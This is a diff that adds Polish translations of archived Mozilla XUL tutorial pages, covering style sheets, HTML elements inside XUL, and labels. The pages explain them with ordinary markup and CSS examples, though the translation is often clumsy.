+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Zastosowanie_odstępów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Model_pudełkowy">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_arkuszy_stylów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_arkuszy_stylów/index.html
new file mode 100644
index 0000000000..08b9168eb7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_arkuszy_stylów/index.html
@@ -0,0 +1,165 @@
+---
+title: Dodawanie arkuszy stylów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_arkuszy_stylów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Style_Sheets
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Trwałe_dane" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Nadawanie_stylu_drzewa">Następny »</a></p>
+</div><p></p>
+
+<p>Posiadamy zmodyfikowany widok elementów, stworzonych wcześniej. XUL używa CSS (Kaskadowe arkusze stylów) do dostosowania swoich elementów.</p>
+
+<h2 id="Arkusze_styl.C3.B3w" name="Arkusze_styl.C3.B3w">Arkusze stylów</h2>
+
+<p>Arkusz stylów jest plikiem zawierającym informację na temat stylu danego elementu. Jest to oryginalnie zaprojektowany element HTML lub potrafiący być dodanym tylko do elementów XUL, oraz posiada odwołanie do XML-a. Arkusz stylów zawiera informacje dotyczące; czcionki, kolorów, obramowania i rozmiarów elementów.</p>
+
+<p>Mozilla stosuje domyślne arkusze stylów, dla każdego okna XUL. W wielu przypadkach to będzie wystarczający powód wyłączenia tego ustawienia jako domyślnego. W przyszłości, użytkownik będzie miał możliwość dodania arkusz stylów. Generalnie, będziemy łączyć jeden plik arkusza stylów z każdym plikiem XUL.</p>
+
+<p>Możesz wstawiać arkusze stylów, gdziekolwiek sobie życzysz. Jeśli Wasz plik XUL jest przechowywany i posiadasz dojście do HTTP URL, możesz przechować działający arkusz stylów. Jeśli tworzysz paczkę XUL, to zostanie ona zainstalowana jako część systemu chrome, masz dwie możliwości. Pierwsza, możesz magazynować arkusz stylów w tym samym katalogu co plik XUL. Ta metoda jest wadliwa, ponieważ znaczy to, że twoja nie będzie zdolna być motywem. Druga metoda angażuje położenie twoich plików jako część tematu.</p>
+
+<div class="highlight">
+<p>Podsumujmy, co zbudowaliśmy i jakie zdolności zostały zawarte w oknie dialogowym "Znajdź pliki", ponieważ okno dialogowe Znajdź pliki kieruje do adresu URL <code><a class="external" rel="freelink">chrome://findfile/content/findfile.xul</a></code>, więc plik arkusza stylów będzie magazynowany w <code><a class="external" rel="freelink">chrome://findfile/skin/findfile.css</a></code>.</p>
+</div>
+
+<p>Wszystkie przykłady umieszczono dalej, aktualnie zostały one użyte już jako arkusz stylów:</p>
+
+<pre>&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+</pre>
+
+<p>Linia ta sygnalizuje użycie stylu pobranego z <a class="external" rel="freelink">chrome://global/skin/</a>. W Mozilli, może zostać przetłumaczone jako plik global.css, który stanowi domyślny styl informacji dla elementu XUL. Możesz tą linię usunąć i elementy wciąż będą pracowały, jednakże będą wyglądały raczej dobrze. Arkusz stylów nakłada rozmaite czcionki, kolory i obramowania do tworzenia elementów wyglądających bardziej odpowiednio.</p>
+
+<h2 id="Zmieniamy_style" name="Zmieniamy_style">Zmieniamy style</h2>
+
+<p>Jednakże, zdążają się sytuacje kiedy domyślny wygląd elementów nie da pożądanych przez nas efektów. W takiej sytuacji, będziemy musieli dodać własny arkusz stylów. Tak więc, dodamy style używając do tego atrybut <code><code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code></code> elementu. Wykonanie tego, nie jest najlepszym sposobem na dodanie stylu. Lepszym sposobem, od poprzedniego będzie utworzenie osobnego pliku arkusza stylów. Powodem jest inny wygląd, lub skóra, może zostać wczytana w prosty sposób.</p>
+
+<p>W pewnych sytuacjach, gdzie klasa atrybutu <code><code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code></code> jest dopuszczalna. Przykładem mógł być moment kiedy skrypt zmienia style lub gdzie różnice w layoucie mogą znaczyć zmienić zachowanie lub przeznaczenie elementu. Jednakże powinieneś unikać tego bardzo jako of the element.</p>
+
+<p>Dla zainstalowanych plików, utwórz lub zmodyfikuj listę plików i zainstaluj motyw.</p>
+
+<h3 id="Przyk.C5.82ad_okna_dialogowego:_Znajd.C5.BA_pliki" name="Przyk.C5.82ad_okna_dialogowego:_Znajd.C5.BA_pliki">Przykład okna dialogowego: &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h3>
+
+<div class="highlight">
+<p>Zmodyfikujmy okno dialogowe &lt;tt&gt;Znajdź pliki&lt;/tt&gt;, tak więc style pochodzą z oddzielonego pliku stylów. Po pierwsze, zmodyfikowane linie w pliku findfile.xul:</p>
+
+<pre class="eval"><span class="highlightred">&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;</span>
+&lt;?xml-stylesheet href="findfile.css" type="text/css"?&gt;
+ ...
+<span class="highlightred">&lt;spacer class="titlespace"/&gt;</span>
+ &lt;groupbox orient="horizontal"&gt;
+ <span class="nowiki">&lt;caption label="Search Criteria"/&gt;</span>
+
+ &lt;menulist id="searchtype"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Name"/&gt;
+ &lt;menuitem label="Size"/&gt;
+ &lt;menuitem label="Date Modified"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ <span class="highlightred">&lt;spacer class="springspace"/&gt;</span>
+ &lt;menulist id="searchmode"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Is"/&gt;
+ &lt;menuitem label="Is Not"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+
+ <span class="highlightred">&lt;spacer class="springspace"/&gt;
+ &lt;menulist id="find-text" flex="1"</span>
+ editable="true"
+ datasources="<a class="external" rel="freelink">file:///mozilla/recents.rdf</a>"
+ ref="<span class="nowiki">http://www.xulplanet.com/rdf/recent/all</span>"/&gt;
+ ...
+<span class="highlightred">&lt;spacer class="titlespace"/&gt;
+&lt;hbox&gt;
+
+ &lt;progressmeter id="progmeter" value="50%" style="display:none;"/&gt;</span>
+</pre>
+
+<p>Nowa linia kodu <code>xml-stylesheet</code> jest użyta do importu arkusza stylów. Zawiera on style, które umieszczamy w pliku arkusza stylów, zamiast umieszczania ich w pliku XUL. Możemy użyć dowolną liczbę arkuszy stylów w podobny sposób jak przedstawione było wcześniej. Arkusz stylów umieszczamy w tym samym katalogu co plik findfile.xul.</p>
+
+<p>Niektóre style znajdujące sie w kodzie powyżej zostały usunięte. Jeden nie wyświetlił (<code>display</code>) własności przez <code>progressmeter</code>. Zostanie zmieniony skrypt znajdującego się po lewej stronie, dlatego że nie miałoby to większego sensu wyświetlanie paska początkowego postępu. Wciąż umieszczamy style w osobnym pliku arkuszy stylów, jeśli Ci jest to potrzebne. Klasę (<code>class</code>) dodajemy do zawartości tagów, przy których możemy zdefiniować style.</p>
+
+<p>Arkusz stylów także musi zostać utworzony. Stwórz plik findfile.css, w tym samym katalogu co plik XUL (to jest normalne, gdy położymy je do innych motywów). W pliku zadeklarujemy style, tak jak jest to pokazane poniżej.</p>
+
+<pre>#find-text {
+ min-width: 15em;
+}
+
+#progmeter {
+ margin: 4px;
+}
+
+.springspace {
+ width: 10px;
+}
+
+.titlespace {
+ height: 10px;
+}
+</pre>
+
+<p>Zauważ, że znajdujące się tutaj pliki stylów są równoważne do plików jakie mieliśmy wcześniej. Jednakże, jest to bardzo proste dla każdej osoby zmieniającej widok okienka dialogowego &lt;tt&gt;Zajdź pliki&lt;/tt&gt;, ponieważ one nie dodają oraz modyfikują deklarację stylów, wcześniej modyfikowany plik oraz zmiana motywów. Jeśli użytkownik nie zmienia pliku lub zmienionych motywów, a zmieni się on w pliku motywy. Jeśli zmienimy, interfejs zawierający motywy, pliki w innych katalogach zawierających motywy.</p>
+</div>
+
+<h2 id="Importowanie_arkuszy_styl.C3.B3w" name="Importowanie_arkuszy_styl.C3.B3w">Importowanie arkuszy stylów</h2>
+
+<p>Tymczasem zobacz, jak importować arkusze stylów. Przykład poniżej przestawia:</p>
+
+<pre>&lt;?xml-stylesheet href="chrome://bookmarks/skin/" type="text/css"?&gt;
+</pre>
+
+<p>To mogłaby być pierwsza linia zakładki okna. To importuje zakładki arkuszy stylów, które są w bookmarks.css. System motywów Mozilli jest wystarczająco eleganckiej sylwetki, która jest użyta w arkuszu stylów, ponieważ specyficzna nazwa pliku nie jest tutaj zasygnalizowana. Mamy zrobione coś podobnego jak globalny plik arkusza stylów (<a class="external" rel="freelink">chrome://global/skin</a>).</p>
+
+<p>Arkusz stylów może importować style z innego arkusza używając dyrektywy import. Zazwyczaj importujemy jeden arkusz stylów z każdego pliku XUL. Arkusz stylu globalnego potrafi być importowany wraz z arkuszem stylów łączącym się z plikiem XUL. Wykonanie tego wymaga zrobienia kodu jak poniżej, uznającego Tobie usunięty kod, importowany z pliku XUL:</p>
+
+<pre class="eval"><b>Style import from XUL:</b>
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+
+<b>Style import from CSS:</b>
+@import url(<a class="external" rel="freelink">chrome://global/skin/</a>);
+</pre>
+
+<p>Druga składnia jest preferowana, ponieważ redukuje to liczbę uzależnień samemu sobie wobec pliku XUL.</p>
+
+<div class="highlight">
+<p>Usuń z pliku findfile.xul import globalnego arkusza stylów i dodaj import findfile.css</p>
+</div>
+
+<p>Wszystkie elementy mogą być formatowane stylami używając <a href="pl/CSS">CSS</a>. Możesz użyć selektorów do zaznaczenia elementów, które sobie życzysz formatować za pomocą stylów (selektory to część przed kędzierzawą klamrą w zasadach stylów). Idąc na przód w tabeli podsumowanie dostępnych selektorów:</p>
+
+<dl>
+ <dt>button </dt>
+ <dd>Dopasuje wszystkie znaczniki przycisku.</dd>
+ <dt>#special-button </dt>
+ <dd>Dopasuje elementy z identyfikatorem (<code>id</code>) <code>special-button</code>.</dd>
+ <dt>.bigbuttons </dt>
+ <dd>Dopasuje wszystkie elementy z klasą (<code>class</code>) <code>bigbuttons</code>.</dd>
+ <dt>button.bigbuttons </dt>
+ <dd>Dopasuje wszystkie elementy przycisku z klasą (<code>class</code>) <code>bigbuttons</code>.</dd>
+ <dt>toolbar &gt; button </dt>
+ <dd>Dopasuje wszystkie przyciski, które są bezpośrednio wewnątrz elementów paska narzędzi.</dd>
+ <dt>toolbar &gt; button.bigbuttons </dt>
+ <dd>Dopasuje wszystkie elementy przycisku z klasą (<code>class</code>) <code>bigbuttons</code>, które są bezpośrednio wewnątrz elementów paska narzędzi.</dd>
+ <dt>button.bigbuttons:hover </dt>
+ <dd>Dopasuje wszystkie elementy przycisku z klasą (<code>class</code>) <code>bigbuttons</code>, lecz tylko wtedy, gdy kursor myszki znajduje się nad nim.</dd>
+ <dt>button#special-button:active </dt>
+ <dd>Dopasuje wszystkie elementy przycisku z identyfikatorem (<code>id</code>) <code>special-button</code>, lecz tylko wtedy, gdy są one aktywne (zostały kliknięte).</dd>
+ <dt>box[orient="horizontal"] </dt>
+ <dd>Dopasuje wszystkie elementy pudełka, które posiadają atrybut <code>orient</code>, który jest ustawiony na wartość <code>horizontal</code>.</dd>
+</dl>
+
+<p>Jak kombinujesz coś z zasadami arkusza stylów, w różnych przypadkach według naszego uznania. Zawsze dobry pomysł jest precyzyjny jako prawdopodobnie wtedy kiedy specyficzny gest jest formatowana stylami. Jest to więcej efektywne i także redukcja prawdopodobieństwa taka, że twój arkusz stylów będzie źle się wyświetlał.</p>
+
+<div class="highlight">
+<p><span id="Przyk%C5%82ad_&amp;lt;tt&amp;gt;Znajd%C5%BA_pliki&amp;lt;/tt&amp;gt;"><a id="Przyk%C5%82ad_&amp;lt;tt&amp;gt;Znajd%C5%BA_pliki&amp;lt;/tt&amp;gt;"></a><strong>Przykład &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-style.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-style.xul">Podgląd</a></p>
+</div>
+
+<p>W następnym artykule, zobaczymy <a href="pl/Kurs_XUL/Nadawanie_stylu_drzewa">jak zastosować style do drzew</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Trwałe_dane" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Nadawanie_stylu_drzewa">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_elementów_html/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_elementów_html/index.html
new file mode 100644
index 0000000000..cd6f58b899
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_elementów_html/index.html
@@ -0,0 +1,124 @@
+---
+title: Dodawanie elementów HTML
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_elementów_HTML
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_HTML_Elements
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Paski_postępu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Zastosowanie_odstępów">Następny »</a></p>
+</div><p></p>
+<p>Wiemy już, jak się dodaje przyciski, więc pora na dodanie kilku innych elementów.</p>
+<h3 id="Dodawanie_element.C3.B3w_j.C4.99zyka_HTML_do_okna" name="Dodawanie_element.C3.B3w_j.C4.99zyka_HTML_do_okna">Dodawanie elementów języka HTML do okna</h3>
+<p>Dodatkowo do wszystkich elementów XUL, które są dostępne, możemy dodać elementy języka HTML, bezpośrednio do wewnątrz pliku XUL. Aktualnie możemy zastosować dowolny element języka HTML w pliku XUL, co oznacza, że aplety Javy lub tabele mogą zostać umieszczone w naszym oknie. Powinniśmy unikać stosowania elementów HTML w plikach XUL, jeśli jest to tylko możliwe. Jednakże w tym artykule został opisany sposób ich stosowania. Zapamiętaj, że XML uwzględnia wielkość liter, więc musimy wprowadzać znaczniki oraz atrybuty z małej litery.</p>
+<h4 id="Przestrze.C5.84_nazw_XHTML" name="Przestrze.C5.84_nazw_XHTML">Przestrzeń nazw XHTML</h4>
+<p>Chcąc zastosować elementy języka HTML w pliku XUL, musimy zadeklarować, że to robimy, więc do tego celu stosujemy przestrzeń nazw XHTML. W ten sposób przeglądarka Mozilli będzie mogła odróżnić znaczniki HTML od znaczników XUL. Poniższy atrybut powinien zostać dodany do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> w pliku XUL lub do znajdującego się najdalej na zewnątrz elementu HTML.</p>
+<pre class="eval"><span class="nowiki">xmlns:html="http://www.w3.org/1999/xhtml"</span>
+</pre>
+<p>Jest to deklaracja języka HTML i jest bardzo podobna do tej, jaką zastosujemy w deklaracji XUL. Musimy ją wpisać dokładnie tak, jak pokazano poniżej, bo inaczej nie będzie ona działała poprawnie. Zwróć uwagę, że przeglądarka Mozilli nie pobierze tego adresu URL, lecz uzna go jako początek języka HTML.</p>
+<p>Tu mamy przykład jaki może być dodany do okna <code>Znajdź pliki</code>:</p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;window
+ id="findfile-window"
+ title="Znajdź pliki"
+ orient="horizontal"
+ <span class="highlightred"><span class="nowiki">xmlns:html="http://www.w3.org/1999/xhtml"</span></span>
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+</pre>
+<p>Następnie możemy stosować znaczniki HTML trzymając się następujących reguł:</p>
+<ul>
+ <li>Musisz dodać prefiks <code>html:</code> na początku każdego znacznika, zakładając, że zadeklarowałeś przestrzeń nazw HTML, jak zostało to pokazane powyżej.</li>
+ <li>Znaczniki
+ <i>
+ muszą być wprowadzone z małej litery</i>
+ .</li>
+ <li>"Cudzysłowy" muszą być umieszczone wraz ze wszystkimi wartościami atrybutów.</li>
+ <li>XML wymaga zamykającego znaku slash (/) na końcu znaczników, które nie posiadają żadnej zawartości. Wytłumaczone jest to w poniższym przykładzie.</li>
+</ul>
+<h4 id="Zastosowanie_element.C3.B3w_HTML" name="Zastosowanie_element.C3.B3w_HTML">Zastosowanie elementów HTML</h4>
+<p>Możemy stosować jakikolwiek znacznik HTML, lecz niektóre znaczniki, takie jak <code>head</code> i <code>body</code>, nie są w rzeczywistości potrzebne. Przykłady zastosowania elementów HTML są pokazane poniżej:</p>
+<pre>&lt;html:img src="banner.jpg"/&gt;
+
+&lt;html:input type="checkbox" value="true"/&gt;
+
+&lt;html:table&gt;
+ &lt;html:tr&gt;
+ &lt;html:td&gt;
+ Prosta tabela
+ &lt;/html:td&gt;
+ &lt;/html:tr&gt;
+&lt;/html:table&gt;
+</pre>
+<p>W tym przykładzie utworzony zostanie obrazek z pliku <code>banner.jpg</code>, pole wyboru oraz pojedyncza komórka tabeli. Powinniśmy zawsze stosować własności XUL-a, jeśli są one dostępne i najprawdopodobniej nie powinniśmy stosować tabelek do układu graficznego w XUL (ponieważ są elementy XUL do tworzenia układu graficznego). Zwróć uwagę, że prefiks <code>html:</code> został dodany z przodu każdego znacznika. Dzięki temu przeglądarka Mozilli wie, że są to znaczniki HTML-a, a nie XUL-a. Jeśli opuścimy część <code>html:</code>, przeglądarka pomyśli, że element był elementem XUL i nie będą wyświetlone, ponieważ elementy img, input, table nie są poprawnymi znacznikami XUL.</p>
+<p>W XUL możesz dodać etykiety za pomocą elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> lub <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code>. Powinniśmy stosować te elementy jak najczęściej. Możemy również dodawać etykiety do kontrolek poprzez zastosowanie elementu HTML - <code>label</code> lub możemy po prostu wstawiać tekst do wewnątrz innego bloku elementów HTML (takich jak <code>p</code> lub <code>div</code>) w sposób pokazany poniżej:</p>
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_1.xul">Podgląd</a></p>
+<pre>&lt;html:p&gt;
+ Szukaj dla:
+ &lt;html:input id="find-text"/&gt;
+ &lt;button id="okbutton" label="OK"/&gt;
+&lt;/html:p&gt;
+</pre>
+<p>Ten kod spowoduje, że będzie wyświetlony tekst <code>Szukaj dla:</code>, następnie element <code>input</code> i przycisk <code>OK</code>. Zwróć uwagę, że przycisk XUL może się pojawić wewnątrz elementu HTML, jak jest to tu pokazane. Tekst będzie tylko wyświetlony, jeśli umieścimy go wewnątrz znacznika, który normalnie pozwala na wyświetlenie tekstu (takiego znacznika jak <code>p</code>). Tekst na zewnątrz nie będzie wyświetlony, chyba że element XUL-a, w którym się on znajduje, pozwala na to (na przykład element <code>description</code>). Przykład poniżej pomoże w zrozumieniu tego:</p>
+<h3 id="Przyk.C5.82ady_element.C3.B3w_HTML" name="Przyk.C5.82ady_element.C3.B3w_HTML">Przykłady elementów HTML</h3>
+<p>Tutaj mamy kilka przykładów dodawania elementów HTML do okien. W każdym przypadku okno i inne zwykłe informacje zostaną pominięte dla uproszczenia przykładu.</p>
+<h4 id="Okno_dialogowe_z_polem_wyboru" name="Okno_dialogowe_z_polem_wyboru">Okno dialogowe z polem wyboru</h4>
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_2.xul">Podgląd</a></p>
+<div class="float-right">
+ <img alt="Grafika:htmlelem-ex1.png"></div>
+<pre>&lt;html:p&gt;
+ Zaznacz poniższe pole, aby zapamiętać tą decyzje.
+ &lt;html:p&gt;
+ &lt;html:input id="rtd" type="checkbox"/&gt;
+ &lt;html:label for="rtd"&gt;Zapamiętaj tą decyzję&lt;/html:label&gt;
+ &lt;/html:p&gt;
+&lt;/html:p&gt;
+</pre>
+<p>W tym przypadku znacznik <code>p</code> został zastosowany do umieszczenia tekstu, a inne zostały zastosowane do podzielenia tekstu na wiele linii.</p>
+<h4 id="Tekst_poza_blokami_HTML" name="Tekst_poza_blokami_HTML">Tekst poza blokami HTML</h4>
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_3.xul">Podgląd</a></p>
+<div class="float-right">
+ <img alt="grafika:htmlelem-ex2.png"></div>
+<pre>&lt;html:div&gt;
+ Chciałbyś zapisać następujące dokumenty?
+ &lt;html:hr/&gt;
+&lt;/html:div&gt;
+Kosztorys 1
+Co robiłem ostatniego lata
+&lt;button id="yes" label="Tak"/&gt;
+&lt;button id="no" label="Nie"/&gt;
+</pre>
+<p>Jak widać na tym obrazku, tekst wewnątrz znacznika <code>div</code> został wyświetlony, ale pozostały tekst (
+ <i>
+ Kosztorys 1</i>
+ i
+ <i>
+ Co robiłem ostatniego lata</i>
+ ) już nie. Jest tak, ponieważ nie ma otaczającego go elementu HTML-a lub elementu XUL zdolnego do wyświetlenia tekstu. Mając taki tekst, powinniśmy wstawić go wewnątrz znacznika <code>div</code> lub otoczyć tekst znacznikiem <code>description</code>.</p>
+<h4 id="Niepoprawne_zastosowanie_element.C3.B3w_HTML" name="Niepoprawne_zastosowanie_element.C3.B3w_HTML">Niepoprawne zastosowanie elementów HTML</h4>
+<pre>&lt;html:po&gt;Przypadek 1&lt;/html:po&gt;
+&lt;div&gt;Przypadek 2&lt;/div&gt;
+&lt;html:description value="Przypadek 3"/&gt;
+</pre>
+<p>Wszystkie powyższe trzy przypadki nie zostaną wyświetlone, każdy z innego powodu:</p>
+<dl>
+ <dt>
+ Przypadek 1 </dt>
+ <dd>
+ <code>po</code> nie jest poprawnym znacznikiem HTML-a, a przeglądarka Mozilli nie wie, jak odczytać ten znacznik.</dd>
+ <dt>
+ Przypadek 2 </dt>
+ <dd>
+ <code>div</code> jest poprawny, ale tylko w HTML-u. Aby działał i tu, musimy dodać kwalifikator <code>html:</code>.</dd>
+ <dt>
+ Przypadek 3 </dt>
+ <dd>
+ Element <code>description</code> jest poprawny tylko w XUL-u, a nie w HTML-u. Nie powinniśmy mieć kwalifikatora <code>html:</code> przed tym elementem.</dd>
+</dl>
+<p>W następnym artykule zobaczymy, <a href="pl/Kurs_XUL/Zastosowanie_odst%c4%99p%c3%b3w">jak dodać odstęp pomiędzy elementami</a>.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Paski_postępu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Zastosowanie_odstępów">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_etykiet_i_obrazków/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_etykiet_i_obrazków/index.html
new file mode 100644
index 0000000000..7f9c284131
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_etykiet_i_obrazków/index.html
@@ -0,0 +1,70 @@
+---
+title: Dodawanie etykiet i obrazków
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_etykiet_i_obrazków
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Labels_and_Images
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_przycisków" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrolki_wejścia">Następny »</a></p>
+</div>
+<p></p><p>Artykuł przedstawia sposoby dodawania etykiet i obrazków do okna. Dodatkowo zobaczymy, jak się łączy elementy w grupy.
+</p>
+<h3 id="Elementy_tekstowe" name="Elementy_tekstowe">Elementy tekstowe</h3>
+<p>Nie można umieścić tekstu bezpośrednio w pliku XUL bez wcześniejszego otoczenia go znacznikami, gdyż nie zostanie on wyświetlony.
+</p>
+<h4 id="Element_label" name="Element_label"> Element <code>label</code> </h4>
+<p>Najprostszym sposobem umieszczenia tekstu w oknie jest użycie elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code>, w sposób przedstawiony poniżej: </p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul">Podgląd</a>
+</p>
+<pre>&lt;label value="To jest jakiś tekst"/&gt;
+</pre>
+<p>Atrybut <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code> służy do określania tekstu, który miałby zostać wyświetlony w oknie. Tekst ten nie jest zawijany, więc zostanie wyświetlony w tylko jednej linii. Przedstawiony element jest przydatny w przypadku krótkich fragmentów tekstu.
+</p>
+<h4 id="Element_description" name="Element_description"> Element <code>description</code> </h4>
+<p>Dłuższy tekst można umieścić pomiędzy otwierającym a zamykającym znacznikiem <code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code>. W przeciwieństwie do tekstu zadeklarowanego za pomocą elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code> i atrybutu <code>value</code>, potomek tekstu będzie łamany na wiele linii w momencie, gdy zajdzie taka potrzeba. Zmień rozmiar okna, aby zobaczyć, jak tekst zostanie zawinięty. Podobnie jak w języku HTML, nowe linie i dodatkowe białe znaki są zamieniane w pojedynczy znak odstępu. W kolejnych artykułach zobaczymy, <a href="pl/Kurs_XUL/Pozycjonowanie_element%c3%b3w">w jaki sposób można ograniczyć długość elementu</a>, więc zawijanie wierszy stanie się lepiej widoczne.
+</p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul">Podgląd</a>
+</p>
+<pre class="eval">&lt;description&gt;
+ Dłuższa sekcja tekstu jest wyświetlona.
+&lt;/description&gt;
+</pre>
+<p>Wewnątrz oba elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> oraz <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> są tym samym, co znaczy, że tekst w etykietach może być zawijany, jeśli umieścisz go wewnątrz znacznika tak, że w elemencie opisu możesz korzystać z atrybutu <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code>. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> jest przeznaczony dla etykiety kontrolek, takich jak pola tekstowe. Element <code>description</code> przeznaczony jest dla pozostałych tekstów opisujących, takich jak tekst informacyjny u góry okna dialogowego (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code></code>). W zasadzie powinniśmy się trzymać takiego przeznaczenia.
+</p>
+<h4 id="Atrybut_control" name="Atrybut_control"> Atrybut <code>control</code> </h4>
+<p>Możemy stosować atrybut <code><code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code></code> do ustawienia, z którą kontrolką jest powiązana etykieta. Kiedy użytkownik kliknie w etykietę, ta kontrolka zostanie wywołana. Ustaw wartość atrybutu <code>control</code> na wartość <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu przycisku, który ma być wywołany. </p><p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul">Podgląd</a>
+</p>
+<pre>&lt;label value="Kliknij tu:" control="open-button"/&gt;
+&lt;button id="open-button" label="Otwórz"/&gt;
+</pre>
+<p>W powyższym przykładzie kliknięcie na etykietę spowoduje wywołanie przycisku.
+</p>
+<h3 id="Obrazki" name="Obrazki">Obrazki</h3>
